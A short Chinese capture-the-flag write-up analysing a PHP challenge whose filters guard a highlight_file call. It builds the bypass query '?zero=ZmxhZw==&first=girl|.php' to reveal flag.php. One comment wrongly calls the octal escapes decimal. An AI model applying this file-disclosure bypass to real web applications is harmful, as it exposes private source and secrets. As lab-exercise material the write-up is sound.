?进入场景看到源码
分析代码
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;//将两个变量连接成一个新的变量
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
{ //Yeedo,wants,a,girl,friend,or,a,flag 出现一个即满足
$key=$second;
if(preg_match("/\.\.|flag/",$key))
{
die("Noooood hacker!");//key(second)中不能出现..或flag
}
else
{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third))
{
$end=substr($third,5);//去掉end前五个字符
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
//64编码连接end
}
}
}
else
{
highlight_file(__FILE__);
}
\056\160\150\x70
.php? ? ? ? 前三个为十进制,最后一个十六进制
zero 为 flag 的 base64 编码
zero=ZmxhZw==
$end=xxxxx.php
继续
$first=$third
$second=ZmxhZw==girlo.php
最后构造出来
?zero=ZmxhZw==&first=girlo.php
但是没有通过,回头看,发现?\\|\056\160\150\x70 这一段漏掉了前面的 \|?
脚本转换时为 |?,所以把最后一位字符换掉
?zero=ZmxhZw==&first=girl|.php
?得到 flag
|